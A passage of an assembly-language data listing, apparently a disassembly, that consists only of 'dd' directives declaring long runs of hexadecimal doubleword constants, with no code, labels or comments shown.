4CC5BEBCh dd 77E4690Bh, 9CF604Dh, 7461E9B2h, 0F205F478h, 3ACBFE05h dd 0DFCF9C01h, 6E88062Ch, 0C2250F35h, 6951CCh, 0CA2C5F2Eh dd 0BB0761D8h, 35A2D53Bh, 525090A1h, 0AF002233h, 5624D6B4h dd 0B2008B85h, 6EEF3886h, 16D1EEF5h, 0EEF12AA9h, 0CB079BC1h dd 6A905001h, 45061A6Eh, 3E8962C7h, 3CE4FB8Dh, 0F393C380h dd 0FC7413A9h, 0F075B66Ah dd 9582B3D2h, 74A5E87Bh, 5300D459h, 0FA5D2C28h, 4E6FB3Dh dd 398D290Ah, 3672BA18h, 607B7C50h, 0DCBB2A5Bh, 0E3748217h dd 0BBA49AE8h, 5F61AF31h, 86F1042Fh, 12605404h, 0F0F25E6Eh dd 0B3738B89h, 1D98FD8h, 0D7905C7Bh, 29026AA1h, 4EAFB8D3h dd 2D3DA8A0h, 8814F710h, 0CF17DB12h, 524C4CAFh, 5B27F80Ah dd 0CFDB9050h, 19AF22Bh, 2A8202E0h, 6FC0589Ch, 0DA0154A9h dd 90855491h, 0FE408260h, 7F5D9523h, 0CF80AB21h, 4C8C7659h dd 0D16E2DDFh, 85D9C455h, 0A7E6ABACh, 0FBDB3BE0h, 7101D425h dd 0C7EAB0CAh, 0AC23388h, 5E0439EFh, 89168D5h, 0A22D12A5h dd 7477657Ah, 9CCCA587h, 0EA97109Dh, 3A38000Bh, 77B0B704h dd 0E5B550A4h, 0DF3527B1h, 0DB05D813h, 0E2BE321Dh, 0AC8B917Bh dd 79AC0A43h, 180E60Dh, 6A5004CFh, 0E70E85FFh, 0B9818972h dd 0FD6B1D45h, 992BCB8h, 2C3DBD31h, 4A518A74h, 0D3B1BB10h dd 0B0105F16h, 0C8003FB8h, 0E65C5AD9h, 0BD4B2B70h, 71E424D1h dd 97678C7Bh, 0FAEDB700h, 7F83B52Dh, 639F259Ch, 821A66E9h dd 65BD8B61h, 25E75A0Ch, 6CE4263Dh, 0E5BDFBA6h, 7A003F62h dd 4C85D132h, 98BFBA3Ch, 0D333FDB5h, 0AE9A1247h, 9550E567h dd 25A4AAh, 0D183C78Ch, 5AB3DDE4h, 66EE3011h, 4BA32850h dd 9A89C66Fh, 3A0BD920h, 55C8C82Bh, 0C1D15B40h, 0E901C12Eh dd 0F6789AEh, 20EC128Eh, 0DBE2F03Eh, 0C1AA0060h, 5B3D9AF6h dd 350EB4A4h, 451780B2h, 60C41CEBh, 8A425789h, 356C6C9h dd 20AABF07h, 10636634h, 0CCA1BD22h, 17FACCABh, 4F9D0388h dd 33480121h, 5231F9BDh, 59795AF0h, 0C4B10912h, 0F17E342Eh dd 4DCD6B29h, 6F806828h, 9F3EF773h, 2529D50Eh, 55ACA7FFh dd 0D7E280A2h, 0B990C894h, 0CD033728h, 0E525E925h, 4B011F9Fh dd 0C55E3471h, 2907FA0h, 0C6543009h, 4A27B0Ah, 0FF2C53EDh dd 205BAF6Fh, 0D88EB797h, 0F6AA50Ah, 52033C8Ch, 0DD5FFC8Ah dd 0C8F044A6h, 48123ABFh, 72BA1096h, 60250B6Ah, 0E11B905h dd 0F20A9AADh, 38F8B961h, 0C7B4DB4Fh, 3AC536A9h, 123B1AEh dd 111E51BBh, 5429FCE1h, 95008FB8h, 2C52CF0h, 92B33035h dd 0E3FCE8AFh, 22B6E2Fh, 14C45685h, 2F3E7017h, 0D2589F01h dd 0B8C0D41Ch, 604C4F25h, 7BB65912h, 9529B31Ch, 60BA1952h dd 798589AFh, 30BB0C5Ah, 0D4CA80AAh, 82B7F600h, 0B19A328Dh dd 271C02A8h, 3F64ED11h, 0BA77C384h, 0DA3EA16Dh, 568C8277h dd 0B57E41BDh, 0F00BFC64h, 0A6204BC9h, 0AC293D75h, 0BB419235h dd 747AB208h, 2A6AAE97h, 0C0B19D17h, 8A56F515h, 54A6DD4Bh dd 0D1E5DA25h, 4061CDE9h, 63D5B97Ch, 1B5C29Fh, 17119D39h dd 220C8E6Eh, 97E29D89h, 1B9113B5h, 9793F480h, 0BF13E945h dd 7D09079Bh, 0ADCA79DFh, 46CFDFCDh, 0C802830h, 5095EF25h dd 0B69A1DE2h, 495EEF95h, 0D5733D80h, 9F9845A5h, 0D1252B79h dd 0C65ED111h, 0B7BF5F47h, 488F00A7h, 5B4F7DF7h, 45C0AE27h dd 53321A23h, 0E525F9DCh, 2EC0C07h, 0E30E8121h, 3D60DC44h dd 2BC4B9C4h, 7E8023BCh, 9F5F17B4h, 61C8CC12h, 193CD9F1h dd 10282F87h, 0ADB8322Bh, 0A15E2D07h, 0D81B2EAEh, 2E0241C4h dd 0FB52DB1Eh, 5AE3BEF5h, 0AC6E41h, 0DC03236Ch, 9D415A4Ah dd 0B7094173h, 87C279FBh, 7475DDBBh, 0D047A025h, 9112784Eh dd 142014BCh, 698188DFh, 68555409h, 621501CCh, 13D53253h dd 0ABEA8155h, 5CEE0A02h, 702DC07h, 0DD1AAF73h, 0F032C1D9h dd 7883A32Eh, 4FADFA4Eh, 0C9792194h, 0FE5689A1h, 381B46D4h dd 5B8B4h, 0F3BEC291h, 0E1018DE9h, 0B82CAD7Ah, 0D6D83409h dd 5B8DB9C8h, 4B96FBBh, 6B771DB2h, 7A5F7ABDh, 0C90101C5h dd 0E6FAF6Eh, 0B2B5F63Ah, 767E301Ah, 13D21B58h, 2CE89D31h dd 0D02B7C87h, 55AB7B0Eh, 4D421C00h, 336F8A5Ah, 0D70051Eh dd 0B527DB77h, 98372EDEh, 0AAA08984h, 9572B26Dh, 156490CDh dd 607DB160h, 0F13C517Fh, 50C78008h, 0C5B86658h, 0A4615B64h dd 0FE27BF51h, 504D0596h, 0E893DEF8h, 59B0C06Ah, 98DBB04h dd 5F142D21h, 29BA027Dh, 5E710927h, 0EDBD0984h, 52689DD0h dd 57CB2F0Fh, 480F1C64h, 87B5C15Bh, 0D26FEF0Bh, 1745A807h dd 0AA43B2CFh, 78D40CADh, 0D9C7121Ah, 722CF328h, 40F62C8h dd 938EB750h, 0CE1660DEh, 12E961D0h, 18C1AACh, 0E53AFBF1h dd 2081B21Ch, 0EDD009B5h, 0D18D139Dh, 0DE2AD0A1h, 0C01CC8FBh dd 0FE9E1BF6h, 0FA6DAE01h, 830FE7ADh, 0DA250533h, 131951C5h dd 0E9FD8A1Fh, 0ABB3566Bh, 4AA5F698h, 0BEBEE319h, 0A58DB64Ah dd 0C67D9C00h, 2765BCD9h, 9689B7FDh, 0B4FFF59h, 0F452FE04h dd 731B5101h, 32AD07E3h, 0CD4C206Fh, 300B983Bh, 2DC2F1Ch dd 80FED74h, 0C58504FCh, 0E233BC04h, 13602575h, 40F6A5D6h dd 20F5EB7Dh, 4935069Dh, 0D6ACBE41h, 97011D46h, 0B9CC1ED7h dd 74467B85h, 708CDF8Bh, 8D33880Eh, 0A118F920h, 4FA6978h dd 0C740BC61h, 0AD121EBBh, 27395C7Eh, 0EB60866Fh, 820BC4h dd 24469F99h, 29600406h, 1F09BD10h, 0F58D2874h, 0BB660044h dd 8052C96Fh, 9497D1F7h, 0D40D9E49h, 2F48705Ch, 77D062F8h dd 0A4479D10h, 85ACE039h, 0BB03D0B7h, 0E3EAAEE0h, 0BF50A02Eh dd 35FF9F0Bh, 9069F842h, 0DC06BE63h, 7502850Bh, 0E2DC5E19h dd 0CA321AF8h, 11BC37E3h, 3CC78017h, 4B8A59E8h, 95F098D8h dd 5E2DBD25h, 691257AEh, 29ECD912h, 3729F780h, 6E0983EEh dd 0DC88D2C1h, 1546D6ECh, 4B67016h, 5D0771A2h, 79192589h dd 40E81439h, 8CD93600h, 429F355Bh, 5F947E14h, 0E2FA25A9h dd 70635B34h, 0A6754908h, 14DDE74Bh, 9CC1260Fh, 0EE75FB9Ah dd 0DC250E5Eh, 0CE25F677h, 42AE509Eh, 0F381011Fh, 3C4BD262h dd 30A3626h, 0A1A17D9Dh, 0C97CA7D8h, 0A9697981h, 3978E0D2h dd 605096C2h, 313E9075h, 335A03CCh, 0E759251Bh, 41FCBCB0h dd 566B0725h, 74586785h, 63B1C989h, 7F1500A6h, 4A80CF7Eh dd 0D9520006h, 0D59723A0h, 5904FAF1h, 47AF34Eh, 882512AFh dd 0AA002A3Dh, 0AB477243h, 0A9C2721h, 333B5EA7h, 7DD04B71h dd 0DF71E4Ah, 0A99D127Ch, 6E38AF34h, 0FFB7883Fh, 53529612h dd 0D472730h, 2C40074h, 55C8547Eh, 2CE55F5Bh, 8F4092Fh dd 40D1D096h, 874F0F1Ah, 198013E2h, 0CD8B0E46h, 2AB5BA07h dd 3510B175h, 12A0362Dh, 0EDBD2366h, 8C1DAC3Fh, 95F7D000h dd 0FA54C0A8h, 2B3126AEh, 0E2F412A1h, 0AA83Dh, 57FEF9ECh dd 8C0F7C61h, 0D162F5B6h, 2662C717h, 7097D616h, 7C8E018Ah dd 0BF646DC8h, 2597776Ch, 162C01F9h, 362E5B7Ch, 91598A6Dh dd 54CA4A23h, 0E7F65C25h, 306B25F6h, 0E85B69C6h, 0F9C2B4B7h dd 0FB73C65Fh, 2E499D0h, 5B3B06E5h, 9C5C770Ah, 0D443547Ah dd 9D6E0700h, 0B0D6686Ch, 66520360h, 5BAF12BEh, 82B9BCBCh dd 0E0C96B46h, 1F7754h, 0C0FA0E47h, 9C74C576h, 0D880622Fh dd 61194087h, 6D5BE9E2h, 726025A1h, 4B2D3F0Ah, 30C18B12h dd 39E38D86h, 7E70BDh, 2A470B27h, 508B536Fh, 8AC4409h dd 59B073F3h, 28E181Ch, 86E67FCDh, 4A40B914h, 8A396090h dd 4689DFECh, 0CA58CC2Ah, 5F565E18h, 0B59050C8h, 7C27D037h dd 70094B8Fh, 898544DCh, 0ABA17585h, 23FA3B2Ah, 46E0001Ah dd 17D67957h, 0C0C80897h, 3D059AC8h, 6FAF2CEFh, 0B220000Ch dd 81E6505Dh, 87ED2572h, 0F560CCC0h, 7A906125h, 2004E4F5h dd 17A62423h, 9163E24h dd 7FDBEF01h, 0D0C4B3E4h, 129BE02Fh, 0B83E6466h, 0CFDE5085h dd 4C84D752h, 7F80DF45h, 7DF8F143h, 7F2259Ah, 4F5F70C2h dd 0BFDC6088h, 2205DB54h, 8D6829AEh, 6E0032E2h, 69BAC995h dd 0A300DD54h, 0AD353130h, 57A9168h, 0B6D9700Ah, 0B974AFFBh dd 0B1C6AEEh, 0F8285161h, 0FF204064h, 2481D14Bh, 282EC8DCh dd 2EE17683h, 0C9A000E7h, 0F9086F1h, 251D3125h, 188F5F5h dd 20499002h, 903C1EC1h, 0C9F64A0Fh, 9CB3500Fh, 556EAFB2h dd 0BCD6FC00h, 0F3A513D8h, 672B9B17h, 0A8334B02h, 92EC75F6h dd 3957BF00h, 0E3E95819h, 6E16970Ch, 5B6C4749h, 88E024A6h dd 0B9599D23h, 595307h, 34BB029Bh, 4D45C3h, 0A0D01E93h dd 705426B0h, 0CC672325h, 0E9B51176h, 0D9C24A0Ch, 7A8DE6CBh dd 9635004Ch, 492A51D3h, 0D604B0F0h, 5914B7C8h, 4BE62AD5h dd 0FCAFDE0h, 7DA63297h, 0E02962C2h, 9F6FCE58h, 7E258B24h dd 0AC00FC14h, 298CD51h, 9127E80Ah, 4FF81D0h, 0D07F3B5Ah dd 7B4A6ADAh, 25AAC8h, 0D8540E19h, 0C09B2ABBh, 1A7A0101h dd 0F508EE3Ah, 81C6302Eh, 0D90F23CFh, 0AB6A3F72h, 0E1E3A5B3h dd 0F64A2EACh, 0EABAE096h, 0CA8301AAh, 0BE0333BBh, 0A7622E30h dd 0AF89250Bh, 0E0B079B4h, 68F4A229h, 9270E6ECh, 71E42F81h dd 0DE544389h, 0F3B87749h, 88F4377Ch, 0C9381B25h, 2D82D8AAh dd 2535BD31h, 2B44A45Ch, 740B00C7h, 351C007h, 19D6B5BDh dd 0BC4E8AF8h, 792E25FDh, 0D781820Dh, 865C6168h, 1018E942h dd 0D1F49FB3h, 798D093Eh, 5E92F3C9h, 60036B61h, 5F884C44h dd 794C4BBBh, 68C54ACBh, 0D0A111EBh, 8C69C44Ah, 8100BF94h dd 6B32A409h, 674E85h, 83865F48h, 59EFB906h, 4B62A912h dd 88217CE4h, 19DD98Bh, 3C854195h, 0A27E257Ah, 0AFCF001Ah dd 0CA892D06h, 9BDF5813h, 25018510h, 4A86CC5Bh, 2207F3B7h dd 4AEEA324h, 3268CAACh, 7202D48Bh, 827E827Ah, 57210DE5h dd 0B6200A94h, 0EF2ED663h, 7ABB2B85h, 5E990EEFh, 0D7B947F5h dd 0ED2FB301h, 2CAF092Fh, 46DE2F5Eh, 74A1001Ah, 80F15BD8h dd 0E55CC41Ch, 0F0B60Bh, 8199BC4Dh, 258F8623h, 5BD4D983h dd 0F62F26h, 60DBD0BFh, 165B509h, 0D289C5BEh, 0B76E7061h dd 0D313B537h, 61C1AB42h, 0E0FCEDFCh, 1A852F3Bh, 0CE6CBB05h dd 0B394141Fh, 5CB3E2C0h, 0BAC0272Bh, 0FAFCF55Ch, 0A7680BF3h dd 0A4022BDAh, 0BED72221h, 5A56B7E7h, 8BAD257Eh, 21BD1D40h dd 0E922F4Eh, 4B7758C9h, 60488861h, 0AAE68105h, 0AAB87F97h dd 8758DF04h, 5BBEF361h, 602BC0A1h, 0F059D2Ah, 697EE7B5h dd 0E240384Dh, 3FDC80B1h, 0E2CA8FD1h, 40974FCh, 0A242F9A8h dd 5CBEA76Fh, 0C27B5134h, 5603DFFh, 0C2EA6AE3h, 0B72102A9h dd 7BC2B8DBh, 28A9D8BBh, 294E1897h, 349527B5h, 8E7EE55Eh dd 0E13C5FF9h, 151430E2h, 268E1F4Bh, 958EA22h, 13AC7030h dd 5BF20140h, 0A005A703h, 2CC28F3h, 0A917EEE3h, 8F50120h dd 58E93785h, 0BB857430h, 0C4CED939h, 0A0B3C49h, 0BC51402h dd 0AA127E7Fh, 9192780h, 0B5CBF85Eh, 0FB73004Ah, 2125330Ch dd 299B5909h, 0B5570F3h, 18F9BD23h, 0B0BFEC77h, 24B709ABh dd 657205ABh, 50011120h, 57413E9h, 0A10D2248h, 0F39AAB03h dd 169A6D2h, 1F6C1A3Ch, 0FA960A22h, 0E22BAE69h, 9020B5CEh dd 0D002BB50h, 3776AC25h, 0F63180EFh, 0FC5D38Ah, 0A9779B07h dd 698081C0h, 87FDF67h, 20E59509h, 756AF909h, 4E80CE37h dd 0F03BA54Bh, 20409052h, 6805065Dh, 493E292Dh, 0A00152AEh dd 584A5A72h, 2AD233C0h, 8A491221h, 2919B3D9h, 7380DC51h dd 0A193DE71h, 0F65B4AC9h, 3116B23Dh, 0E986F8C6h, 95016F20h dd 74FC959Ah, 640E00DCh, 7D18D026h, 5D966E7Ah, 16A13640h dd 0DCF70051h, 0A6D6963Eh, 0C612B190h, 1A124A05h, 79F538AEh dd 5FD6F100h, 0DD025D44h, 516908B1h, 3CCA53E0h, 5E02E10Bh dd 9D31E036h, 0CB950E59h, 8182F7F8h, 5A6B5C03h, 0BE65034Dh dd 0BB8A800h, 9743FCF6h, 8F66309h, 0CC4A0110h, 0F701BD62h dd 425D04D8h, 0C86CC0C4h, 0B52C5A17h, 0A9C689E5h, 0A5637311h dd 90BF5F76h, 6802229Dh, 0C811CA45h, 7A802849h, 4FF5D78Ch dd 256AA033h, 0BA008181h, 384F0D39h, 172026BCh, 0F3126398h dd 6AE251F1h, 0B86F5Ah, 0EB885BE1h, 0C770C889h, 1950C288h dd 733FB964h, 5D408FF3h, 973EE026h, 9AB6C46h, 7C0A5E94h dd 0B8BC9D70h, 490604DCh, 9902CF80h, 2DC6029Fh, 3A614CC9h dd 0EB07E66Eh, 4214288Bh, 4C589BA5h, 0C5257898h, 92BBC717h dd 89AEB2F8h, 0F689F64Ch, 0AE793F00h, 5C2BF2B6h, 200790E0h dd 0FC4F03DDh, 0B74BD2ACh, 0E65AA19Fh, 0E5C93A2Eh, 1080B9BCh dd 6CDFD043h, 5BF9B213h, 292B66A1h, 7F1AD2B2h, 7201F235h dd 77B75984h, 0D925E94Bh, 95D859FBh, 850BB5D0h, 8EF242C6h dd 99D94B5h, 0AA088D50h, 95CF9CD7h, 0D9898399h, 2A0D752Dh dd 95A0B4CAh, 32133534h, 2FA98509h, 0B596013Dh, 0C175B92Eh dd 26D98529h, 0ED008114h, 526D34FBh, 3685D0A1h, 0DB691253h dd 16B221F6h, 4E467E30h, 2DDEB0D5h, 0A678C595h, 7605D68Ch dd 880FF02Bh, 13BB5842h, 0FA9B0CFh, 88074E81h, 0F8880173h dd 79B31256h, 2D61E35Bh, 7592DD53h, 635ABC09h, 0DCEA56BFh dd 88B99906h, 44AA34B7h, 84975108h, 5B091FD1h, 90B7A766h dd 0E2528967h, 0FB82048Dh, 80EFBF5Dh, 0B577239Fh, 5080754Bh dd 976EF380h, 7A7E410Bh, 6F4695DCh, 99DE8B28h, 0C27001ACh dd 11057B95h, 11204E09h, 4B93E39Fh, 3F3C8954h, 77C5499Bh dd 7C98BA5Fh, 0C84D55BDh, 25D052A0h, 0B6E29D1h, 1D279DF2h dd 0EBB75C0Fh, 66026E18h, 30F3D00h, 2DC09768h, 519607D3h dd 76EA8F77h, 8B0F0E25h, 0B9505FFEh, 282B7552h, 8D303140h dd 0DF8183BDh, 0A0E1221h, 0D6A6AD75h, 3000CC6Bh, 0DFE812A7h dd 0C94EF734h, 160C6920h, 0A22625D6h, 571C33C5h, 6EEA5E38h dd 92B84A71h, 9653D533h, 6050FAB8h, 790C6F6h, 0B795617Ah dd 0C4C0034h, 20466332h, 0F2EC409h, 0FCBF1183h, 0C881DA2Ah dd 91F1C116h, 41342E21h, 0F8D672FBh, 5177C575h, 3FF1C025h dd 2CB90505h, 9AAB135Ch, 9998D27Ah, 8BDD2D9Bh, 4F597A5Ch dd 0B4ECB179h, 0D0E03E71h, 0E1B35217h, 298D8004h, 0AC720F0Bh dd 38312EE1h, 3005C6FCh, 71578E94h, 443E9A00h, 58FDCC82h dd 6AAA02BBh, 0D0361D6Bh, 641EEF55h, 0FCF06115h, 3594047Ah dd 0E1814029h, 1761EBD5h, 0B4F419E9h, 0E2BFD958h, 9314556Ah dd 17793595h, 0C1A4ECD4h, 112D9D0Bh, 0DE20A87Fh, 0CB6DF983h dd 0A1ECC9C3h, 0B9F85EC9h, 2AB40413h, 82B696DEh, 98F55295h dd 9B95E18h, 536A01BAh, 76A909D7h, 4900DE47h, 0C912CE89h dd 0A20FF359h, 0F7EADD82h, 0CF5D7560h, 0BF75F5Eh, 0A4F09DA0h dd 0DC0AEB76h, 0AC884F14h, 2CFE6104h, 0BB9D40ABh, 4CD9B50Dh dd 0DC8A9017h, 0BB71947h, 0C0C66D8Bh, 0DD9D03E7h, 2BC90E4Eh dd 77A5F5E8h, 9B7EF178h, 0DC09C59Ch, 342AB0F1h, 0AA0394EEh dd 1AC86DDAh, 60C2ABC0h, 4B3E040Bh, 0EA8A0FB5h, 0F200AE8Ah dd 5B7A780Ah, 671CA72Bh, 0BF40391Bh, 0AFF3F9ABh, 528C179Ah dd 0A98304F7h, 53D14B06h, 0A80170FEh, 9C788C00h, 71F74C06h dd 0BCEB2580h, 0A116F965h, 0A7B032B7h, 1D02149Ah, 1F2D54B9h dd 0EAE58BDh, 0B8A9D781h, 26A3B22h, 0DCCFF4h, 46B5AEF6h dd 0E2E73112h, 15C497h dd 0B607E62Eh, 0B8783869h, 45A25313h, 8DC823FAh, 833B8ED0h dd 0D3074990h, 295B5FC7h, 520275C2h, 5BBB716Fh, 0E5D4D7FDh dd 1311CB49h, 0DFC85660h, 0D4EA3CA4h, 5A7EB589h, 18D54D82h dd 0DB480509h, 6B6238AEh, 1089FE40h, 2E177195h, 0F149A01h dd 0FA552A06h, 548A599Dh, 781CCC25h, 0ECD6B759h, 22B5D82Dh dd 0B3000DE8h, 73DF7D07h, 3FA544E7h, 310A321Eh, 801359C8h dd 668513B8h, 0C03CCFBEh, 0B9848B5h, 7C5F83E5h, 81B9A1D2h dd 9ECC3576h, 0FB269369h, 8C7B0BFBh, 0CE55EA12h, 1FECA025h dd 14202541h, 3DB520C4h, 0EFC207A4h, 0CC194068h, 0F09BF02h dd 56788B7Dh, 3C4DEBC7h, 3F2EE140h, 0B27E0038h, 9BE7D0DBh dd 0E44ADF80h, 2EBFCAB0h, 926B010h, 0C17C1E85h, 63D742C0h dd 206C0095h, 0A88CF8EAh, 81019151h, 0F69BB0EBh, 0E33A11CCh dd 31568266h, 249F59Dh, 68E43A5Bh, 4A294241h, 8019A1A0h dd 810F71E4h, 92334CFh, 6C0D7262h, 852C5101h, 0D882E4Bh dd 9830C566h, 8398AB5Ch, 52234331h, 38EF2D08h, 25E39C96h dd 16C0533Eh, 5238C781h, 0C01CA5EAh, 998D0F17h, 86123B85h dd 0EA70BA13h, 9033A9h, 79D19EC4h, 82384378h, 5F722BE4h dd 7725C84Bh, 9C85F2FAh, 5ABBD1C0h, 0E451E98Ah, 292DC18Ch dd 0BB322185h, 4C5000C5h, 0B5894755h, 0B3014A11h, 0B91777A8h dd 70AE7D3Ch, 15A1A72Fh, 0BA526103h, 0EC2F7A24h, 427E1F22h dd 3183142h, 17274DE9h, 6913FC60h, 0D1213762h, 38D98D0Bh dd 0C66125C1h, 99F58133h, 366527A5h, 8F8AF42Dh, 0E2B2D5BDh dd 0F3568F39h, 75950B0Ah, 5189091Dh, 41367119h, 0EE2C78ABh dd 1AE00BEDh, 571F15Ah, 1F510EECh, 1E89CCB1h, 0F356EA00h dd 0E3EFA302h, 0C5810063h, 37B0F705h, 0E4E359BFh, 4B12E4F3h dd 71E71A20h, 0B85D6A0h, 49C6ED07h, 0E01472A4h, 420051A2h dd 8DF2989Dh, 0D21FA022h, 80E69C91h, 0FA1E5D02h, 6F815C70h dd 518D2381h, 9DCB4808h, 16797AB5h, 7B0E97B9h, 639E008Fh dd 94A4BB92h, 55C62401h, 2D16110Dh, 310E1160h, 2F857F4h dd 23AEFCF3h, 5E608505h, 814B4748h, 0B79C7096h, 0D42583DEh dd 6550C9A6h, 0E8C4A114h, 51D8002Ah, 0B168CD21h, 50BC000Eh dd 262E56EFh, 3F909ACAh, 654B0D4Fh, 0DEBC5C61h, 4D16A324h dd 0B1476B25h, 0AE511585h, 4479C02Bh, 0D90219B8h, 0A9E86C1Dh dd 841E6363h, 0BAD22B44h, 25303520h, 26D90040h, 0B5339C73h dd 4B4B4529h, 60098A8Fh, 3277EE8Ah, 612E24E4h, 250381AFh dd 0DF8B1134h, 0F779532Eh, 6227A0AAh, 0F8B40029h, 1B952A6h dd 244EC58Dh, 310569F7h, 0AE16B585h, 242DDB2Dh, 844B6AA8h dd 0C4DFAF8Ah, 0EA14619Dh, 3280AE9Eh, 11929170h, 8EA21202h dd 7566A5DDh, 982FFBB0h, 7830F400h, 0D00504C0h, 39871261h dd 88BEE20Dh, 100EFC60h, 13B82CC0h, 0B5EC7FBDh, 0BC0127F8h dd 29FB3EBBh, 0A87A2413h, 75AE96D2h, 0CC2A13A3h, 354B518Ch dd 8712A38Ah, 804AF904h, 0BE9DA013h, 1279FA34h, 0E2029FF5h dd 61F892ACh, 0BC84B94Fh, 0CC79008Dh, 47699FE2h, 0A958EB68h dd 5C912F4h, 1885ADE3h, 9E7B04h, 43457188h, 7188EF7h, 296AE6DBh dd 0BE0B99Dh, 79FFC60h, 0A538F940h, 7FD4B262h, 21D304DCh dd 0B20983BFh, 0D44B00B8h, 56699C11h, 61DC00B0h, 8FD8085Bh dd 1A0537A5h, 0CE7ADD95h, 5627BCB3h, 0A51FC161h, 60D46095h dd 41C60D81h, 2FBC33EBh, 822911E0h, 262DD382h, 72196107h dd 410845D8h, 2A0EE5AEh, 1CC8C19Bh, 58B897C0h, 3755046Ch dd 0CC81234Ah, 0A300B185h, 0F669FCA4h, 12C56BF2h, 0E3E3EE57h dd 0C0384CE1h, 0F2C55C7Eh, 952F4818h, 4B3D8A00h, 39D3BE22h dd 1DF9049h, 5B2FBF50h, 7DEA04DBh, 4D00BB37h, 3A0D05DBh dd 0E9B98387h, 68167F5Ch, 5C6A6649h, 1D00DE0Fh, 68502B96h dd 48DE6392h, 9012BDBEh, 6D97B084h, 4140A016h, 0BF4A75FAh dd 1E89CDD9h, 815C332Dh, 0BD9E02E9h, 36D25815h, 7EB2E95Bh dd 9B4B797h, 0CF71F5B6h, 0B5CC609Dh, 16319999h, 0B823BD9Dh dd 9B02A4CCh, 5C1E52E7h, 0BB626F97h, 955CECCCh, 0BDBDD72Fh dd 0C8A21D12h, 0DD455301h, 23FF13EAh, 10210017h, 0BA936933h dd 0FB1F003Bh, 6B09BE18h, 5B1F3AAAh, 24D7BD29h, 816870BFh dd 470982E3h, 0F58908F4h, 0C7D42118h, 4E8F9B09h, 0E2869809h dd 7B1D008Eh, 515947D0h, 73BD5F30h, 8FF9ADFDh, 0D7E1DE92h dd 1AF05326h, 3801EDBDh, 51DF6B3Ch, 31D49Eh, 96B9D07Eh dd 504A3FB7h, 6700CAA2h, 906DDC5Ch, 0ECB4A8FEh, 4928811Ch dd 0DA098497h, 8D965F04h, 71C82ECFh, 0C4C602BEh, 0FE610904h dd 0DD49115Eh, 7B81E6B7h, 0D9FA71B7h, 0F029B131h, 0C1DC862h dd 0E0D38000h, 7E3C0A68h, 60C3A851h, 5DF0CC27h, 99251624h dd 0CD85C381h, 0AE458B57h, 75035382h, 0D886D6EEh, 529ADD00h dd 0A8921E05h, 72F20467h, 0A9800F50h, 53600002h, 9F9DBA58h dd 563D5BC4h, 82EADB7Ah, 557E3653h, 1D64E6CDh, 0ABD14060h dd 0A2057B76h, 198D936Ah, 0DB61DD49h, 0C9070A0h, 48D0B609h dd 441B7F2Eh, 0CE18EBA8h, 6FCF3317h, 3BC888EEh, 3BCB5F4Bh dd 2B09F15Ah, 9D4F5428h, 0CCD8B77Bh, 0FE42051Fh, 1A4676Ah dd 0E93BB7D0h, 9F2B5E3Fh, 4B32C440h, 2D9D40C9h, 0D65EBA1Eh dd 3075CBD7h, 0BA7C66Ch, 3D5B14D8h, 9D808637h, 1314507Bh dd 0FAB72561h, 681774E5h, 106FBC56h, 57034C00h, 6DB1998Ch dd 249101F2h, 9C633766h, 9D096052h, 53BD17F9h, 0D2FA4B2Ch dd 3034CA0Fh, 0FC021338h, 75E412EBh, 6293C8EEh, 12850858h dd 0FBE1534Dh, 3440B727h, 9B0551h, 0BAE289F5h, 69A8D454h dd 0BD5C8A3Fh, 599D88B4h, 0B40BA71Ah, 9EF13D5Dh, 0CC023FCBh dd 0DF8B363Fh, 91FF3557h, 7F5801Dh, 0E56D71Fh, 0CBD97FE6h dd 0DA5C0976h, 0FCF0A298h, 0F4DCB500h, 4914D6E4h, 2563B84Ah dd 0A356AB91h, 0B156B8E0h, 0DF140B2Ch, 0D48925C0h, 0C2C43B89h dd 0D5D31A00h, 0A2E58885h, 0F58D0917h, 6E65A4Bh, 5F26DDB4h dd 0BC028788h, 8A4C5FB1h, 962295FDh, 0B8F4BDE6h, 31B6055Fh dd 0C11CCF80h, 2A955554h, 15C8D29Ah, 402A08C2h, 9D1D4955h dd 0DD8A1238h, 0B7ECB097h, 6205B7DAh, 0B2CAEB05h, 16819509h dd 60E0455Eh, 28B3EEB8h, 27D47CB6h, 0E65E61C7h, 61746D6h dd 9F4D9940h, 0BD25698Eh, 5E4D2957h, 0E400DCB9h, 4292A877h dd 2534D1B3h, 0F2E22E91h, 85C415Fh, 4046F72Ah, 134B93C3h dd 66E7C1C4h, 3D2E8FB0h, 0A9970702h, 0D96A53A0h, 665F81E8h dd 0F00BCCB0h, 80005DE2h, 276EB1C8h, 0BA2DBD89h, 0BD5B5AE4h dd 0C5EFC224h, 0BFBCF873h, 5BF49B56h, 0A5D6EC2Bh, 312035AFh dd 0E0AD7395h, 0FD000733h, 93F90B11h, 78C19F0Ah, 3971291h dd 0C5C053B0h, 0E2B41303h, 0EFB10083h, 71D3B6E1h, 6F51073Eh dd 1108ABD0h, 24E4465Fh, 539552B2h, 7D89002Fh, 965B666Fh dd 0C29CED9Fh, 23CCB7C7h, 815482B5h, 256D5726h, 276019E4h dd 1D13A3F8h, 59A3B4BEh, 2D149D7Bh, 90011445h, 5B3096FEh dd 81FA4B0Ch, 0E84C6203h, 212B9D33h, 80044F10h, 0CFBDEDC7h dd 0FCD9B782h, 64A3CDF7h, 8078F91Bh, 0F8BAFE12h, 0F332277Ch dd 0BD1F9444h, 0C312C7ABh, 0E64BD3F7h, 40E0A7E8h, 2051E216h dd 0A175352Bh, 282FFC81h, 38962DDh, 121BF62Eh, 777B1259h dd 56787600h, 0E7864B71h, 5BD5A110h, 0B4850127h, 697AAAC6h dd 0F61C801h dd 0CB915907h, 20D4565Eh, 0BAB5F0B8h, 0B7AA7321h, 6F65F0h dd 0BD72B164h, 66E9FBF5h, 4D94C2B5h, 0B6E0EF3Bh, 2F3846ABh dd 0BB5D5800h, 0CA6590Dh, 6EC15B8Bh, 0E1051390h, 0E2148C01h dd 343A5B57h, 50A0A91Ch, 0F1E4CF6Eh, 0DDA38B95h, 8D6C664h dd 8B1F20EFh, 4AB890F9h, 2F9EF9B7h, 3D3777h, 0FC0EF1C1h dd 42D87EBBh, 0B59327A6h, 8E868CC0h, 0F4DACC2h, 78825B2Dh dd 0AA0037B5h, 0CD73ADCEh, 90297592h, 81F800C2h, 532665D3h dd 2E09BF2Bh, 782D5752h, 5869BDF9h, 0F18E5360h, 2C61D091h dd 0D4BDD6ECh, 6F380CA8h, 71A3C825h, 0BFF25A95h, 0B7E2BF4Dh dd 71EFC0A2h, 0EDBD1403h, 0CF402834h, 0BD244A4Dh, 978D835h dd 74799D1Fh, 0D4B47669h, 9561CE04h, 67C29972h, 0DC3B5CD1h dd 38EC5B00h, 